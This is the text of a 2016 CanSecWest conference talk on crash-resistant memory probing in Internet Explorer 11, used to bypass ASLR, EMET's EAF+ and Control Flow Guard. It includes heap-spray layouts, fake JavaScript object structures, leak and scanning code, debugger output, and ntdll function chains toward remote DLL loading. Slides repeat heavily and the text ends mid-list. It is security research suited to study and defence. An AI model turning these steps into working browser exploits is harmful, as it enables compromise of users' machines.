Bypassing Different Defense Schemes via
Crash-Resistant Probing of Address Space
Ruhr University Bochum
Horst Görtz Institute for IT-Security
Bochum, Germany
Robert Gawlik
CanSecWest 2016
About me
• Playing with InfoSec since 2010
• Currently in academia at Systems Security Group @
Horst Görtz Institute / Ruhr University Bochum
• Focusing on binary analysis / attacks / defenses /
static and dynamic analysis
• Little time for bug hunting and exploiting
• Fun fact: Recently discovered favorite toy: DynamoRIO
CanSecWest 2016
Agenda
• Crash-Resistance
• Crash-Resistance in IE 32-bit (CVE 2015-6161)
• Memory Scanning : Bypass ASLR
• Export Resolving : Bypass EMET's EAF+
• Function Chaining : Bypass Control Flow Guard &
EMET's UNC library path restriction
• Crash-Tolerant Function Dispatching : Fun !
• Mitigations/Fixes
Crash-Resistance
CanSecWest 2016
char* addr = 0;
void crash(){
addr++;
printf("reading %x", addr);
char content = *(addr);
printf("read done");
}
int main(){
MSG msg;
SetTimer(0, 0, 1, crash);
while(1){
GetMessage(&msg, NULL, 0, 0);
DispatchMessage(&msg);
}
}
Crash-Resistance
CanSecWest 2016
char* addr = 0;
void crash(){
addr++;
printf("reading %x", addr);
char content = *(addr);
printf("read done");
}
int main(){
MSG msg;
SetTimer(0, 0, 1, crash);
while(1){
GetMessage(&msg, NULL, 0, 0);
DispatchMessage(&msg);
}
}
Crash-Resistance
• Set timer callback crash()
CanSecWest 2016
char* addr = 0;
void crash(){
addr++;
printf("reading %x", addr);
char content = *(addr);
printf("read done");
}
int main(){
MSG msg;
SetTimer(0, 0, 1, crash);
while(1){
GetMessage(&msg, NULL, 0, 0);
DispatchMessage(&msg);
}
}
Crash-Resistance
• Set timer callback crash()
• Dispatch crash() each ms
CanSecWest 2016
char* addr = 0;
void crash(){
addr++;
printf("reading %x", addr);
char content = *(addr);
printf("read done");
}
int main(){
MSG msg;
SetTimer(0, 0, 1, crash);
while(1){
GetMessage(&msg, NULL, 0, 0);
DispatchMessage(&msg);
}
}
Crash-Resistance
• Set timer callback crash()
• Dispatch crash() each ms
• crash() generates a fault on
first execution
CanSecWest 2016
char* addr = 0;
void crash(){
addr++;
printf("reading %x", addr);
char content = *(addr);
printf("read done");
}
int main(){
MSG msg;
SetTimer(0, 0, 1, crash);
while(1){
GetMessage(&msg, NULL, 0, 0);
DispatchMessage(&msg);
}
}
Program should
terminate abnormally
Crash-Resistance
• Set timer callback crash()
• Dispatch crash() each ms
• crash() generates a fault on
first execution
CanSecWest 2016
Crash-Resistance
CanSecWest 2016
char* addr = 0;
void crash(){
addr++;
printf("reading %x", addr);
char content = *(addr);
printf("read done");
}
int main(){
MSG msg;
SetTimer(0, 0, 1, crash);
while(1){
GetMessage(&msg, NULL, 0, 0);
DispatchMessage(&msg);
}
}
Instead:
Program runs endlessly
Crash-Resistance
• Set timer callback crash()
• Dispatch crash() each ms
• crash() generates a fault on
first execution
CanSecWest 2016
char* addr = 0;
void crash(){
addr++;
printf("reading %x", addr);
char content = *(addr);
printf("read done");
}
int main(){
MSG msg;
SetTimer(0, 0, 1, crash);
while(1){
GetMessage(&msg, NULL, 0, 0);
DispatchMessage(&msg);
}
}
Crash-Resistance
• Set timer callback crash()
• Dispatch crash() each ms
• crash() generates a fault on
first execution
CanSecWest 2016
Crash-Resistance
0:000:x86> g
(370.e4): Access violation - code c0000005 (first chance)
crash_resistance!crash+0x2d:
009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000001=??
0:000:x86> gn
(370.e4): Access violation - code c0000005 (first chance)
crash_resistance!crash+0x2d:
009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000002=??
0:000:x86> !exchain
[...]
0057f800: USER32!_except_handler4+0
CRT scope 0, filter: USER32!DispatchMessageWorker+36882
func: USER32!DispatchMessageWorker+36895
CanSecWest 2016
Crash-Resistance
0:000:x86> g
(370.e4): Access violation - code c0000005 (first chance)
crash_resistance!crash+0x2d:
009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000001=??
0:000:x86> gn
(370.e4): Access violation - code c0000005 (first chance)
crash_resistance!crash+0x2d:
009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000002=??
0:000:x86> !exchain
[...]
0057f800: USER32!_except_handler4+0
CRT scope 0, filter: USER32!DispatchMessageWorker+36882
func: USER32!DispatchMessageWorker+36895
pass exception unhandled
CanSecWest 2016
char* addr = 0;
void crash(){
addr++;
printf("reading %x", addr);
char content = *(addr);
printf("read done");
}
int main(){
MSG msg;
SetTimer(0, 0, 1, crash);
while(1){
GetMessage(&msg, NULL, 0, 0);
DispatchMessage(&msg);
}
}
DispatchMessage:
__try
{
crash()
}
__except(filter)
{
}
return
Crash-Resistance
execute handler
continue execution
access violation
filter returns 1
Behind the Scenes (Simplified)
CanSecWest 2016
char* addr = 0;
void crash(){
addr++;
printf("reading %x", addr);
char content = *(addr);
printf("read done");
}
int main(){
MSG msg;
SetTimer(0, 0, 1, crash);
while(1){
GetMessage(&msg, NULL, 0, 0);
DispatchMessage(&msg);
}
}
DispatchMessage:
__try
{
crash()
}
__except(filter)
{
}
return
Crash-Resistance
Behind the Scenes (Simplified)
CanSecWest 2016
char* addr = 0;
void crash(){
addr++;
printf("reading %x", addr);
char content = *(addr);
printf("read done");
}
int main(){
MSG msg;
SetTimer(0, 0, 1, crash);
while(1){
GetMessage(&msg, NULL, 0, 0);
DispatchMessage(&msg);
}
}
Crash-Resistance
If a fault is generated,
execution is
transferred to the end
of the loop
Program continues
running despite
producing faults
Behind the Scenes (Simplified)
CanSecWest 2016
char* addr = 0;
void crash(){
addr++;
printf("reading %x", addr);
char content = *(addr);
printf("read done");
}
int main(){
MSG msg;
SetTimer(0, 0, 1, crash);
while(1){
GetMessage(&msg, NULL, 0, 0);
DispatchMessage(&msg);
}
}
Crash-Resistance
If a fault is generated,
execution is
transferred to the end
of the loop
Program continues
running despite
producing faults
Behind the Scenes (Simplified)
CanSecWest 2016
Crash-Resistance
DEMO 1
CanSecWest 2016
Crash-Resistance
• Similar issues:
- ”Why it's not crashing ?” [1]
- ANI Vulnerability (CVE 2007-0038) [2]
- ”Escaping VMware Workstation through COM1”
(JPEG2000 parsing) [3]
- ”The Art of Leaks” (exploit reliability) [4]
Crash-Resistance
in Internet Explorer 11
CanSecWest 2016
Crash-Resistance in IE 11
• Start worker
• Launch timed callback() with setInterval()
• callback() function may produce access violations without
forcing IE into termination
(b): if callback() produces no fault, it is executed completely and
then started anew
(a): if an AV is triggered in callback(), then callback() stops running
and is executed anew
JS callback() set with setInterval() or setTimeout() in web worker
is crash-resistant:
→ usable as side channel
Crashless Memory Scanning
in Internet Explorer 11
CanSecWest 2016
Memory Scanning
• Spray the heap
• Use vulnerabilty to change a byte
→ Create a type confusion and craft fake JS objects
• Utilize fake objects in web worker with setInterval() to scan
memory in a crash-resistant way
→ Discover Thread Environment Block (TEB)
→ Discover DLL Base Addresses
• Don't control EIP yet – instead: use only JS
The Plan:
→ bypass ASLR
CanSecWest 2016
Memory Scanning
Spray the heap
• Alternate between Object Arrays and Integer Arrays
• Object Arrays become aligned to 0xYYYY0000
• Integer Arrays become aligned to +f000 +f400 +f800 +fc00
→ Object Array:
ObjArr[0] = new String() // saved as reference; bit 0 never set
ObjArr[1] = 4 // integer saved as 9 = 4 << 1 | 1
→ Integer Array:
IntArr[0] = 4 // saved as 4
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101
ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101
ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
header space
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101
ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
first element
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101
ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> ddp 1011f100 L2
1011f100 80000002
1011f104 1011f010 00000000
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
IntArr[0] = 00000000
IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101
ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> ddp 1011f100 L2
1011f100 80000002
1011f104 1011f010 00000000
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
IntArr[0] = 00000000
IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010
Why this odd index ?
(0x100 – 0x10 + 4) / 4
IntArr is aligned to 0x1011f000
– 0x10: occupied header space
+ 0x100: offset to 0x1011f100
+ 0x4: element offset
/ 0x4: element size
→ We can expect the element
to reside at 0x1011f104
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101
ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> ddp 1011f100 L2
1011f100 80000002
1011f104 1011f010 00000000
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
IntArr[0] = 00000000
IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010
IntArr is aligned to 0x1011f000 :
first element resides at
0x1011f010
0x10 bytes are taken as
header space
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101
ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> ddp 1011f100 L2
1011f100 80000002
1011f104 1011f010 00000000
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
IntArr[0] = 00000000
IntArr[(0x100 - 0x10) / 4] = 0x1011f010
Almost!
We need to change 01 to 00:
→ IE will interpret ObjArr[0] as object
reference and not as number.
→ Additionally, we control IntArr:
We could set all fields of the object
referenced by ObjArr[0]
CanSecWest 2016
Memory Scanning
Trigger a vulnerability to change a byte
• Use a rewriting Use-After-Free [5], e.g., CVE 2014-0322 (IE10):
inc [eax+0x10]
→ eax is attacker controlled
→ possible to change an arbitrary byte and continue execution
in JavaScript
OR
• Single NULL byte write to attacker chosen address
→ create a type confusion (0x1011f101 becomes 1011f100)
=> ObjArr[0] is interpreted as object
CanSecWest 2016
Memory Scanning
Creating fake JS Objects
jscript9!Js::LiteralString looks like :
typedef struct LiteralString_{
/*0x0*/ VOID* vtable_ptr;
/*0x4*/ VOID* type_ptr; // points to type object
/*0x8*/ UINT len;
/*0xc*/ WCHAR* buf; // string content
} LiteralString;
offset = (0x100 – 0x10) / 4
IntArr[0] = 00000007 // type @ 0x1011f010
IntArr[offset] = 0x41414141 // bogus vtable
IntArr[offset + 0x4] = 0x1011f010 // points to type
IntArr[offset + 0x8] = 0x2 // length
IntArr[offset + 0xc] = 0x400000 // address of content
CanSecWest 2016
Memory Scanning
Creating fake JS Objects
fakeString = ObjArr[0] // get object element located at 0x1011f100
leak = escape(fakeString) // leak 0x4 bytes from 0x400000
→ we have set 0x41414141 as vtable ptr, but escape() still works
→ fakeString.substring() does not work → vtable lookup → AV
• We can now leak already all the things!
function leak(addr){
intArr[offset + 0xc] = addr
return to_dword(unescape(escape(ObjArr[0])))
}
CanSecWest 2016
Memory Scanning
Creating fake JS Objects
• Example: leak vtable ptr and type ptr to sanitize fakeString
ObjArr[1] = ”bla” // create LiteralString (ref @ 0x10110024)
str_addr = leak(0x10110024)
str_vtable_ptr = leak(str_addr)
str_type_ptr = leak(str_addr + 4)
IntArr[offset] = str_vtable_ptr // give fakeString a real vptr!
IntArr[offset + 4] = str_type_ptr // real type ptr!
→ fakeString.substring() should work now :)
• We can build arbitrary JS objects if we know their structure
• We don't have a write-what-where interface yet
→ Build your own Uint32Array() to RW complete memory
CanSecWest 2016
Memory Scanning
Creating fake JS Objects
• Exercise: Build your own Uint32Array()
• Inaccurate hint:
typedef struct Uint32Array_{
/*0x00*/ VOID* vtable_ptr;
/*0x04*/ VOID* type_ptr;
/*0x08*/ INT NULL;
/*0x0c*/ INT NULL;
/*0x10*/ VOID* arrayBufferObjectPtr; // can be unset
/*0x14*/ INT elemSize; // 4
/*0x18*/ INT arrayBufferOffset;
/*0x1c*/ INT nrElements; // 0x7fffffff/4
/*0x20*/ VOID* bufferPtr; // set to 0
/*0x24*/ INT NULL;
/*0x28*/ INT NULL;
/*0x2c*/ INT NULL;
} Uint32Array;
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Where are we now?
We have fake String and Typed Array objects usable to read and
write the address space
→ arbitrary information leak
→ arbitrary memory write
→ Use fake objects for crash-resistant
scanning
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread Environment Block
0:020> !teb
TEB at 7f156000
0:020> dt ntdll!_TEB 7f156000 /b
+0x000 NtTib : _NT_TIB
+0x000 ExceptionList : 0x03e0f8cc
+0x004 StackBase : 0x03e10000
+0x008 StackLimit : 0x03e0c000
...
+0x018 Self : 0x7f156000
0:020> dt ntdll!_TEB 7f156000
...
+0x030 ProcessEnvironmentBlock : 0x7f15f000 _PEB
TEB == [TEB + 0x18] && [TEB + 4] > [TEB] > [TEB + 8] ?
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread Environment Block
0:020> !teb
TEB at 7f156000
0:020> dt ntdll!_TEB 7f156000 /b
+0x000 NtTib : _NT_TIB
+0x000 ExceptionList : 0x03e0f8cc
+0x004 StackBase : 0x03e10000
+0x008 StackLimit : 0x03e0c000
...
+0x018 Self : 0x7f156000
0:020> dt ntdll!_TEB 7f156000
...
+0x030 ProcessEnvironmentBlock : 0x7f15f000 _PEB
TEB == [TEB + 0x18] && [TEB + 4] > [TEB] > [TEB + 8] ?
Heuristic yields TEB if we
read at the right place
→ Afterwards, PEB can be
resolved
Normally we cannot leak the
TEB as no references exist
to it
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread Environment Block
/* worker. js */
self.onmessage = function(){
addr = 0x80000000
id = setInterval(scan, 0)
}
function scan(){
addr = addr – 0x1000
maybe_TEB = leak(addr)
if (isTEB(maybe_TEB)){
clearInterval(id)
/* leak stuff */
}
}
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread Environment Block
/* worker. js */
self.onmessage = function(){
addr = 0x80000000
id = setInterval(scan, 0)
}
function scan(){
addr = addr – 0x1000
maybe_TEB = leak(addr)
if (isTEB(maybe_TEB)){
clearInterval(id)
/* leak stuff */
}
}
• scan() runs crash-resistant
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread Environment Block
/* worker. js */
self.onmessage = function(){
addr = 0x80000000
id = setInterval(scan, 0)
}
function scan(){
addr = addr – 0x1000
maybe_TEB = leak(addr)
if (isTEB(maybe_TEB)){
clearInterval(id)
/* leak stuff */
}
}
• scan() runs crash-resistant
• set address to probe
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread Environment Block
/* worker. js */
self.onmessage = function(){
addr = 0x80000000
id = setInterval(scan, 0)
}
function scan(){
addr = addr – 0x1000
maybe_TEB = leak(addr)
if (isTEB(maybe_TEB)){
clearInterval(id)
/* leak stuff */
}
}
• scan() runs crash-resistant
• set address to probe
→ leak() creates implicit flow:
if addr != mapped:
return
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread Environment Block
/* worker. js */
self.onmessage = function(){
addr = 0x80000000
id = setInterval(scan, 0)
}
function scan(){
addr = addr – 0x1000
maybe_TEB = leak(addr)
if (isTEB(maybe_TEB)){
clearInterval(id)
/* leak stuff */
}
}
• scan() runs crash-resistant
• set address to probe
→ leak() creates implicit flow:
if addr != mapped:
return
→ use heuristic to discover TEB
and leak PEB + LdrData
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread-Environment Block
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover module base addresses directly
/* worker. js */
self.onmessage = function(){
addr = 0x78000000
id = setInterval(scan, 0)
}
function scan(){
addr = addr – 0x10000
maybe_PE = leak(addr)
if (isPE(maybe_PE)){
clearInterval(id)
/* leak stuff */
}
}
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover module base addresses directly
/* worker. js */
self.onmessage = function(){
addr = 0x78000000
id = setInterval(scan, 0)
}
function scan(){
addr = addr – 0x10000
maybe_PE = leak(addr)
if (isPE(maybe_PE)){
clearInterval(id)
/* leak stuff */
}
}
• scan() runs crash-resistant
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover module base addresses directly
/* worker. js */
self.onmessage = function(){
addr = 0x78000000
id = setInterval(scan, 0)
}
function scan(){
addr = addr – 0x10000
maybe_PE = leak(addr)
if (isPE(maybe_PE)){
clearInterval(id)
/* leak stuff */
}
}
• scan() runs crash-resistant
• address to probe (64K alignment)
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover module base addresses directly
/* worker. js */
self.onmessage = function(){
addr = 0x78000000
id = setInterval(scan, 0)
}
function scan(){
addr = addr – 0x10000
maybe_PE = leak(addr)
if (isPE(maybe_PE)){
clearInterval(id)
/* leak stuff */
}
}
• scan() runs crash-resistant
• address to probe (64K alignment)
• get leak or return
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover module base addresses directly
/* worker. js */
self.onmessage = function(){
addr = 0x78000000
id = setInterval(scan, 0)
}
function scan(){
addr = addr – 0x10000
maybe_PE = leak(addr)
if (isPE(maybe_PE)){
clearInterval(id)
/* leak stuff */
}
}
• scan() runs crash-resistant
• address to probe (64K alignment)
• get leak or return
→ if leak() succeeds check for MZ
and PE header (isPE())
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover module base addresses directly
/* worker. js */
self.onmessage = function(){
addr = 0x78000000
id = setInterval(scan, 0)
}
function scan(){
addr = addr – 0x10000
maybe_PE = leak(addr)
if (isPE(maybe_PE)){
clearInterval(id)
/* leak stuff */
}
}
• scan() runs crash-resistant
• address to probe (64K alignment)
• get leak or return
→ if leak() succeeds check for MZ
and PE header (isPE())
→ leak more memory:
– name of module
– size of module
CanSecWest 2016
Memory Scanning
DEMO 2
Resolve Exports under EMET
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• EAF: Forbit accesses to Export Address Table based on calling
code (shellcode)
• EAF+: Block read accesses to Export Address Table originating
from certain modules
→ EMET's max. security setting for IE (blacklist):
mshtml.dll; flash*.ocx; jscript*.dll; vbscript.dll; vgx.dll
EMET5.5
→ can we abuse reads originating from
non-blacklisted modules using only JS
(no control-flow hijacking)?
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ escape(fakeString) copies the DLL for you!
escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)
- Worked with large strings but in recent tests it stopped
working (fixed?)
EMET5.5
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ escape(fakeString) copies the DLL for you!
escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)
- Worked with large strings but in recent tests it stopped
working!!!!!! (fixed?, drunk?)
EMET5.5
?!
☹
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ escape(fakeString) copies the DLL for you!
escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)
- worked with large strings but in recent tests it stopped
working!!!!!! (fixed?, drunk?)
EMET5.5
There is something better:
Use the Blob!
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ Create a Blob of the fakeString object
blob = new Blob([fakeString], {type:"application/octet-stream"})
url = URL.createObjectURL(blob)
EMET5.5
0:024> kp n
# ChildEBP RetAddr
00 071bed10 77919398 ntdll!CountUnicodeToUTF8+0x21
01 071bed38 774ac7fb ntdll!RtlUnicodeToUTF8N+0xf4
02 071bed84 7324604a KERNELBASE!WideCharToMultiByte+0x269
03 071bedd0 7324638f MSHTML!CBlobBuilder::AppendData+0x317
04 071bee28 72f415e1 MSHTML!CBlobBuilder::ConstructBlob+0x2c9
05 071bee50 714e0fb6 MSHTML!CFastDOM::CBlob::DefaultEntryPoint+0x61
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ Create a Blob of the fakeString object
blob = new Blob([fakeString], {type:"application/octet-stream"})
url = URL.createObjectURL(blob)
EMET5.5
0:024> kp n
# ChildEBP RetAddr
00 071bed10 77919398 ntdll!CountUnicodeToUTF8+0x21
01 071bed38 774ac7fb ntdll!RtlUnicodeToUTF8N+0xf4
02 071bed84 7324604a KERNELBASE!WideCharToMultiByte+0x269
03 071bedd0 7324638f MSHTML!CBlobBuilder::AppendData+0x317
04 071bee28 72f415e1 MSHTML!CBlobBuilder::ConstructBlob+0x2c9
05 071bee50 714e0fb6 MSHTML!CFastDOM::CBlob::DefaultEntryPoint+0x61
Not blacklisted
by EAF+
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ Create a Blob of the fakeString object
→ Use XMLHttpRequest to retrieve a string copy of the module
→ Resolve exports within the string copy:
PE = to_dword(DLL.substring(0x3c/2, 0x3c/2 + 2))
p_exp = PE + 0x18 + 0x60
ExportDir = to_dword(DLL.substring(p_exp/2, p_exp/2 + 2)
...
EMET5.5
CanSecWest 2016
Export Resolving
DEMO 3
Function Chaining
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• CFG protects indirect calls
• Exported functions are allowed, but not all
• Control Flow Hijacking:
trigger virtual function call with a method of fakeString:
IntArr[offset] = fakeVtable // bogus vtable ptr
fakeString = ObjArr[0]
fakeString.whatever()
→
push fakeString // Arg1: controlled content
mov eax, [fakeString] // get vtable ptr
call [eax + x] // controlled target
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Idea:
(1) Collect export functions which have indirect calls
(2) Check if indirect call target is a field of first argument
(3) Check if parameters for indirect call target are influenced by
arguments
→ Fields of controlled object (first argument) get propagated to
parameters before indirect call → chain functions
→ Last function in chain is the function we want to perform our
operation
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Example function chain:
push fakeString // controlled content
mov eax, [fakeString] // get vtable ptr
call [eax + 0x20] // fake virtual function (func1)
func1(fakeString):
...
push [fakeString + 0x10] // = arg3
push [fakeString + 0x04] // = arg2
push fakeString // = arg1
call [fakeString + 0x08] // = func2
func2(arg1, arg2, arg3):
...
push arg2 // = [fakeString + 0x04] = CONTEXT*
push arg3 // = [fakeString + 0x10] = HANDLE
call [arg1 + 0x0c] // = [fakeString + 0x0c] = SetThreadContext
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)
ESI = [EBX + 0x2c]
EIP = ESI
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)
ESI = [EBX + 0x2c]
EIP = ESI
→ EIP = [Arg1 + 0x2c]
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)
ESI = [EBX + 0x2c]
EIP = ESI
→ EIP = [Arg1 + 0x2c]
EBX = Arg1
Param1 = EBX
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)
ESI = [EBX + 0x2c]
EIP = ESI
→ EIP = [Arg1 + 0x2c]
EBX = Arg1
Param1 = EBX
→ Param1 = Arg1
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)
ESI = [EBX + 0x2c]
EIP = ESI
→ EIP = [Arg1 + 0x2c]
EBX = Arg1
Param1 = EBX
→ Param1 = Arg1
EAX = Arg3
ECX = EAX + 0x10
Param2 = ECX
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)
ESI = [EBX + 0x2c]
EIP = ESI
→ EIP = [Arg1 + 0x2c]
EBX = Arg1
Param1 = EBX
→ Param1 = Arg1
EAX = Arg3
ECX = EAX + 0x10
Param2 = ECX
→ Param2 = Arg3 + 0x10
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:
In RtlInsertElementGenericTableFullAvl :
Simple Propagation Summary:
→ EIP = [Arg1 + 0x2c]
→ Param1 = Arg1
→ Param2 = Arg3 + 0x10
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Load arbitrary remote DLLs under EMET:
→ Chain of five NTDLL functions (Win 8.1 only):
RtlLookupElementGenericTableFullAvl (1)
RtlInsertElementGenericTableFullAvl (2)
RtlLookupElementGenericTableFull (3)
RtlTraceDatabaseFind (4)
